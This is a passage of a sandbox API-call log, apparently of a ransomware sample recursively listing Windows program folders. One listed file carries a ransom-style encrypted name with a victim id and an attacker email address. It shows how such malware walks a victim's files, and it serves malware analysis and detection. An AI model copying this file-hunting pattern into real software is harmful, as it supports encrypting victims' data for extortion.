ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0095.004] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.004] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0095.004] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.004] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0095.005] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0095.005] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0095.005] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0095.005] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0095.005] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.007] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0095.007] FindClose (in: hFindFile=0x4260490 | out: hFindFile=0x4260490) returned 1 [0095.007] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0095.008] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x365f4540, ftCreationTime.dwHighDateTime=0x1d5440b, ftLastAccessTime.dwLowDateTime=0xb1261d00, ftLastAccessTime.dwHighDateTime=0x1d59341, ftLastWriteTime.dwLowDateTime=0xb1261d00, ftLastWriteTime.dwHighDateTime=0x1d59341, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="samuel-clubs.exe", cAlternateFileName="SAMUEL~1.EXE")) returned 1 [0095.008] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0095.008] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0095.008] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.009] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0095.009] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0095.009] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0095.009] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0095.009] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0095.010] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.010] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0095.010] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0095.010] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0095.010] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.011] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0095.011] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0095.011] FindNextFileW (in: hFindFile=0x4260350, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0095.011] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0095.397] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0095.397] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0095.398] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0095.398] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9263f1, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xcb9263f1, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xcb9263f1, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="DESKTO~1.KR")) returned 1 [0095.418] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0095.418] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0095.419] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0095.419] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0095.419] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0095.419] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0095.420] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0095.420] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0095.421] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.421] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0095.424] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.424] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0095.425] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.425] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0095.426] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0095.426] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0095.426] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.426] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0095.426] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.426] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1 [0095.427] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.427] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1 [0095.428] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.428] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0095.431] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.431] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1 [0095.433] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.433] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1 [0095.435] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0095.435] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0 [0095.435] FindClose (in: hFindFile=0x42607d0 | out: hFindFile=0x42607d0) returned 1 [0095.435] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.435] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1 [0095.436] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.436] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1 [0095.438] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.438] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1 [0095.441] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0095.441] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0095.441] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0095.441] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0095.441] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0095.444] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0 [0095.444] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0095.444] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0095.444] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x98dc3b85, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x98dc3b85, 